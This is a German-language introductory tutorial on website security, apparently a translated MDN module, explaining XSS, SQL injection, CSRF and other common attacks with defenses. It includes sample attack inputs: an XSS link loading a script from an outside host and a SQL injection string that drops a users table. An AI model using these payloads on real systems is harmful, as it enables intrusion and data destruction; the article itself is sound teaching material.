Website-Sicherheit

Das Internet ist ein gefährlicher Ort! Wir hören regelmäßig von Websites, die aufgrund von Denial-of-Service-Angriffen nicht erreichbar sind oder auf ihren Startseiten modifizierte (und oft schädliche) Informationen anzeigen. In anderen hochkarätigen Fällen wurden Millionen von Passwörtern, E-Mail-Adressen und Kreditkartendaten in die öffentliche Domäne geleakt, was die Nutzer der Website sowohl persönlicher Verlegenheit als auch finanziellen Risiken aussetzte.

Der Zweck der Website-Sicherheit besteht darin, diese (oder jegliche) Art von Angriffen zu verhindern. Die formellere Definition von Website-Sicherheit ist der Akt/die Praxis, Websites vor unbefugtem Zugriff, Nutzung, Änderung, Zerstörung oder Störung zu schützen.

Effektive Website-Sicherheit erfordert Designeinsatz in der gesamten Website: in Ihrer Webanwendung, der Konfiguration des Webservers, Ihren Richtlinien zur Erstellung und Erneuerung von Passwörtern und im clientseitigen Code. Während all das sehr bedrohlich klingt, ist die gute Nachricht, dass wenn Sie ein serverseitiges Web-Framework verwenden, es fast sicher "standardmäßig" robuste und durchdachte Abwehrmechanismen gegen eine Reihe der häufigsten Angriffe bietet. Andere Angriffe können durch Ihre Webserver-Konfiguration gemildert werden, zum Beispiel durch die Aktivierung von HTTPS. Schließlich gibt es öffentlich verfügbare Tools zur Schwachstellensuche, die Ihnen helfen können herauszufinden, ob Sie offensichtliche Fehler gemacht haben.

Der Rest dieses Artikels gibt Ihnen mehr Details über einige häufige Bedrohungen und einige der einfachen Schritte, die Sie unternehmen können, um Ihre Seite zu schützen.

Dieser Abschnitt listet nur einige der häufigsten Bedrohungen für Websites und deren Abmilderung auf. Während Sie lesen, bemerken Sie, wie Bedrohungen am erfolgreichsten sind, wenn die Webanwendung entweder dem Browser vertraut oder nicht paranoid genug über die vom Browser kommenden Daten ist.

XSS ist ein Begriff, der eine Klasse von Angriffen beschreibt, die es einem Angreifer ermöglichen, clientseitige Skripte über die Website in die Browser anderer Nutzer zu injizieren. Da der injizierte Code vom Browser von der Seite kommt, ist der Code vertraut und kann Dinge tun, wie das Autorisierungs-Cookie des Benutzers an den Angreifer senden. Wenn der Angreifer das Cookie hat, kann er sich in eine Seite einloggen, als wäre er der Benutzer, und alles tun, was der Benutzer tun kann, wie z.B. auf dessen Kreditkartendaten zugreifen, Kontaktdetails einsehen oder Passwörter ändern.

Die XSS-Schwachstellen werden in reflektiert und persistent unterteilt, basierend darauf, wie die Seite die injizierten Skripte in einem Browser zurückgibt.

• Eine reflektierte XSS-Schwachstelle entsteht, wenn Benutzerinhalte, die an den Server übermittelt werden, sofort und unverändert zur Anzeige im Browser zurückgegeben werden. Jegliche Skripte in den ursprünglichen Benutzerdaten werden ausgeführt, wenn die neue Seite geladen wird. Nehmen Sie beispielsweise eine Suchfunktion auf einer Seite, bei der die Suchbegriffe als URL-Parameter kodiert werden und diese Begriffe zusammen mit den Ergebnissen angezeigt werden. Ein Angreifer kann einen Suchlink konstruieren, der ein bösartiges Skript als Parameter enthält (z.B. https://developer.mozilla.org?q=beer<script%20src="http://example.com/tricky.js"></script>) und diesen an einen anderen Benutzer senden. Klickt der Zielbenutzer auf diesen "interessanten Link", wird das Skript ausgeführt, wenn die Suchergebnisse angezeigt werden. Wie bereits besprochen, gibt dies dem Angreifer alle Informationen, die er benötigt, um sich als Zielbenutzer auf der Seite anzumelden, potenziell als der Benutzer Einkäufe zu tätigen oder dessen Kontaktdaten zu teilen.
• Eine persistente XSS-Schwachstelle tritt auf, wenn das bösartige Skript auf der Website gespeichert wird und später unverändert wieder angezeigt wird, damit andere Benutzer es unwissentlich ausführen. Ein Beispiel wäre ein Diskussionsboard, das Kommentare akzeptiert, die unmodifizierten HTML-Code enthalten. Es könnte ein bösartiges Skript eines Angreifers speichern. Wenn die Kommentare angezeigt werden, wird das Skript ausgeführt und kann dem Angreifer die Informationen senden, die erforderlich sind, um auf das Benutzerkonto zuzugreifen. Diese Art von Angriff ist äußerst beliebt und mächtig, weil der Angreifer möglicherweise nicht einmal direkten Kontakt mit den Opfern hat.

Während die Daten von POST oder GET-Anfragen die häufigste Quelle von XSS-Schwachstellen sind, sind potenziell alle Daten vom Browser anfällig, wie Cookie-Daten, die vom Browser angezeigt werden, oder Benutzerdateien, die hochgeladen und angezeigt werden.

Die beste Verteidigung gegen XSS-Schwachstellen ist das Entfernen oder Deaktivieren jeglicher Markierungen, die potenziell Anweisungen zum Ausführen von Code enthalten könnten. Für HTML schließt dies Elemente ein, wie <script>, <object>, <embed> und <link>.

Der Prozess der Modifikation von Benutzerdaten, sodass sie nicht verwendet werden können, um Skripte auszuführen oder anderweitig die Ausführung von Servercode zu beeinflussen, ist als Input-Sanitisierung bekannt. Viele Web-Frameworks sanitieren standardmäßig Benutzereingaben aus HTML-Formularen automatisch.

SQL-Injection-Schwachstellen ermöglichen es böswilligen Benutzern, beliebigen SQL-Code auf einer Datenbank auszuführen, sodass Daten unabhängig von den Rechten des Benutzers abgerufen, geändert oder gelöscht werden können. Ein erfolgreicher Injektion-Angriff kann Identitäten fälschen, neue Identitäten mit Administratorrechten erstellen, auf alle Daten auf dem Server zugreifen oder die Daten zerstören/ändern, um sie unbrauchbar zu machen.

Zu den SQL-Injection-Typen gehören Fehlerbasierte SQL-Injection, SQL-Injection basierend auf booleschen Fehlern und Zeitbasierte SQL-Injection.

Diese Schwachstelle ist vorhanden, wenn Benutzereingaben, die an eine zugrunde liegende SQL-Anweisung übergeben werden, die Bedeutung der Anweisung ändern können. Zum Beispiel soll der folgende Code alle Benutzer mit einem bestimmten Namen (userName) auflisten, der aus einem HTML-Formular übermittelt wurde:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Wenn der Benutzer einen echten Namen angibt, wird die Anweisung wie vorgesehen funktionieren. Ein böswilliger Benutzer könnte das Verhalten dieser SQL-Anweisung völlig ändern, indem er a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't für das userName angibt, auf die neue Anweisung im folgenden Beispiel.

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

Die modifizierte Anweisung erstellt eine gültige SQL-Anweisung, die die Tabelle users löscht und alle Daten aus der Tabelle userinfo auswählt (was die Informationen jedes Benutzers offenbart). Dies funktioniert, weil der erste Teil des eingespritzten Textes (a';) die ursprüngliche Anweisung vervollständigt.

Um diese Art von Angriff zu vermeiden, müssen Sie sicherstellen, dass alle Benutzerdaten, die an eine SQL-Abfrage übergeben werden, die Natur der Abfrage nicht ändern können. Eine Möglichkeit, dies zu tun, ist das Escapen aller Zeichen in den Benutzereingaben, die in SQL eine besondere Bedeutung haben.

In der folgenden Anweisung escapen wir das Zeichen '. SQL interpretiert den Namen jetzt als den gesamten fettgedruckten String (der wirklich ein seltsamer Name ist, aber nicht schädlich).

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

Web-Frameworks kümmern sich oft um das Escapen der Zeichen für Sie. Django beispielsweise stellt sicher, dass alle Benutzerdaten, die an Querysets (Modellabfragen) übergeben werden, escaped werden.

CSRF-Angriffe erlauben es einem böswilligen Benutzer, Aktionen mit den Anmeldeinformationen eines anderen Benutzers ohne dessen Wissen oder Zustimmung auszuführen.

Dieser Angriffs-Typ lässt sich am besten durch ein Beispiel erklären. Josh ist ein böswilliger Benutzer, der weiß, dass eine bestimmte Seite eingeloggten Benutzern erlaubt, Geld auf ein angegebenes Konto zu überweisen, indem eine HTTP-POST-Anfrage abgeschickt wird, die den Kontonamen und einen Geldbetrag enthält. Josh erstellt ein Formular inklusive seiner Bankdetails und eines Geldbetrags als versteckte Felder und sendet es an andere Benutzer der Seite (mit dem Absenden-Button als Link zu einer "schnell reich werden"-Seite getarnt).

Klickt ein Benutzer den Absenden-Button, wird eine HTTP-POST-Anfrage an den Server gesendet, die die Transaktionsdetails und alle clientseitigen Cookies enthält, die der Browser mit der Seite verknüpft (das Hinzufügen verbundener Website-Cookies zu Anfragen ist normales Browserverhalten). Der Server prüft die Cookies und nutzt sie, um festzustellen, ob der Benutzer eingeloggt ist und die Berechtigung hat, die Transaktion durchzuführen.

Das Ergebnis ist, dass jeder Benutzer, der während des Einloggens in die Handelsseite den Absenden-Button klickt, die Transaktion durchführt. Josh wird reich.

Eine Möglichkeit, diese Art von Angriff zu verhindern, besteht darin, den Server zu verpflichten, dass POST-Anfragen ein benutzerspezifisches, sitegeneriertes Geheimnis enthalten. Das Geheimnis würde vom Server beim Versenden des Webformulars zur Durchführung von Überweisungen bereitgestellt. Dieser Ansatz verhindert, dass Josh sein eigenes Formular erstellt, da er das Geheimnis kennen müsste, das der Server für den Benutzer bereitstellt. Selbst wenn er das Geheimnis herausfinden und ein Formular für einen bestimmten Benutzer erstellen würde, könnte er dasselbe Formular nicht mehr verwenden, um alle Benutzer anzugreifen.

Web-Frameworks enthalten oft solche CSRF-Präventionsmechanismen.

Weitere häufige Angriffe/Schwachstellen umfassen:

• Clickjacking. Bei diesem Angriff kapert ein böswilliger Benutzer Klicks, die für eine sichtbare oberste Seite bestimmt sind, und leitet sie zu einer versteckten Seite darunter um. Diese Technik könnte beispielsweise verwendet werden, um eine legitime Bankseite anzuzeigen, aber die Anmeldeinformationen in einem unsichtbaren <iframe> zu erfassen, der vom Angreifer kontrolliert wird. Clickjacking könnte auch verwendet werden, um den Benutzer dazu zu bringen, einen Button auf einer sichtbaren Seite zu klicken, tatsächlich aber unwissentlich einen völlig anderen Button. Zum Schutz kann Ihre Seite verhindern, dass sie in einem iframe auf einer anderen Seite eingebettet wird, indem die entsprechenden HTTP-Header gesetzt werden.
• Denial of Service (DoS). DoS wird in der Regel erreicht, indem eine Zielsite mit gefälschten Anfragen überflutet wird, sodass der Zugriff auf die Seite für legitime Benutzer gestört wird. Die Anfragen können zahlreich sein oder einzeln große Mengen an Ressourcen verbrauchen (z.B. langsame Lesevorgänge oder das Hochladen großer Dateien). DoS-Abwehrmechanismen arbeiten in der Regel, indem sie “bösen” Traffic identifizieren und blockieren, während legitime Nachrichten durchgelassen werden. Diese Abwehrmechanismen befinden sich normalerweise vor oder im Webserver (sie sind kein Teil der Webanwendung selbst).
• Directory Traversal (Datei- und Offenlegung). Bei diesem Angriff versucht ein böswilliger Benutzer, auf Teile des Dateisystems des Webservers zuzugreifen, auf die er nicht zugreifen sollte. Diese Schwachstelle tritt auf, wenn der Benutzer Dateinamen übergeben kann, die Zeichen zur Dateisystemnavigation enthalten (zum Beispiel ../../). Die Lösung besteht darin, die Eingabe zu sanitieren, bevor sie verwendet wird.
• File Inclusion. Bei diesem Angriff kann ein Benutzer eine "unerwünschte" Datei zur Anzeige oder Ausführung in Daten an den Server übergeben. Wenn geladen, könnte diese Datei auf dem Webserver oder clientseitig ausgeführt werden (was zu einem XSS-Angriff führen könnte). Die Lösung besteht darin, die Eingaben zu sanitieren, bevor sie verwendet werden.
• Command Injection. Command-Injection-Angriffe erlauben es einem böswilligen Benutzer, beliebige Systembefehle auf dem Host-Betriebssystem auszuführen. Die Lösung besteht darin, Benutzereingaben zu sanitieren, bevor sie möglicherweise in Systemaufrufen verwendet werden.

Für eine umfassende Liste der Bedrohungen der Website-Sicherheit siehe Kategorie: Websicherheitsexploits (Wikipedia) und Kategorie: Angriff (Open Web Application Security Project).

Fast alle der Sicherheitsangriffe in den vorherigen Abschnitten sind erfolgreich, wenn die Webanwendung Daten vom Browser vertraut. Was auch immer Sie tun, um die Sicherheit Ihrer Website zu verbessern, Sie sollten alle benutzerstammenden Daten sanitisieren, bevor sie im Browser angezeigt, in SQL-Abfragen verwendet oder an Betriebssystem- oder Dateisystemaufrufe übergeben werden.

Einige weitere konkrete Schritte, die Sie unternehmen können, sind:

• Verwenden Sie eine effektivere Passwortverwaltung. Ermutigen Sie zu starken Passwörtern. Betrachten Sie die Zwei-Faktor-Authentifizierung für Ihre Seite, sodass der Benutzer zusätzlich zu einem Passwort einen weiteren Authentifizierungscode eingeben muss (normalerweise einen, der über eine physische Hardware geliefert wird, die nur der Benutzer hat, wie ein Code in einer SMS an sein Telefon gesendet).
• Konfigurieren Sie Ihren Webserver zur Nutzung von HTTPS und HTTP Strict Transport Security (HSTS). HTTPS verschlüsselt Daten, die zwischen Ihrem Client und Server gesendet werden. Dies stellt sicher, dass Anmeldeinformationen, Cookies, POST-Anfrage-Daten und Header-Informationen nicht leicht für Angreifer zugänglich sind.
• Halten Sie sich über die beliebtesten Bedrohungen auf dem Laufenden (die aktuelle OWASP-Liste ist hier) und beheben Sie zunächst die häufigsten Schwachstellen.
• Verwenden Sie Schwachstellensuch-Tools für automatisierte Sicherheitstests auf Ihrer Seite. Später, wenn Ihre erfolgreiche Website wächst, können Sie möglicherweise auch durch das Angebot eines Bug-Bounty-Programms, wie Mozilla es hier tut, Fehler finden [(https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/)].
• Speichern und zeigen Sie nur die Daten an, die Sie benötigen. Zum Beispiel, wenn Ihre Benutzer sensible Informationen wie Kreditkartendaten speichern müssen, zeigen Sie nur genug von der Kartennummer an, damit der Benutzer sie identifizieren kann, und nicht genug, damit ein Angreifer sie kopieren und auf einer anderen Seite verwenden könnte. Das häufigste Muster ist derzeit, nur die letzten 4 Ziffern einer Kreditkartennummer anzuzeigen.
• Halten Sie Software auf dem neuesten Stand. Die meisten Server haben regelmäßige Sicherheitsupdates, die bekannte Schwachstellen beheben oder abschwächen. Wenn möglich, planen Sie regelmäßige automatische Updates und idealerweise Updates zu Zeiten, in denen Ihre Website das geringste Verkehrsaufkommen hat. Am besten sichern Sie Ihre Daten vor dem Update und testen neue Softwareversionen, um sicherzustellen, dass es keine Kompatibilitätsprobleme auf Ihrem Server gibt.

Web-Frameworks können helfen, viele der häufigsten Schwachstellen zu mildern.

Dieser Artikel hat das Konzept der Web-Sicherheit und einige der häufigsten Bedrohungen erklärt, gegen die Ihre Website Schutz bieten sollte. Am wichtigsten ist, dass Sie verstehen sollten, dass eine Webanwendung keiner Daten vom Webbrowser vertrauen kann. Alle Benutzerdaten sollten saniert werden, bevor sie angezeigt oder in SQL-Anfragen und Dateisystemaufrufen verwendet werden.

Mit diesem Artikel sind Sie am Ende von diesem Modul angelangt, das Ihre ersten Schritte in der serverseitigen Website-Programmierung behandelt. Wir hoffen, dass Ihnen das Lernen dieser grundlegenden Konzepte Spaß gemacht hat und dass Sie nun bereit sind, ein Web-Framework auszuwählen und mit der Programmierung zu beginnen.

• Zurück
• Übersicht: Erste Schritte mit der serverseitigen Website-Programmierung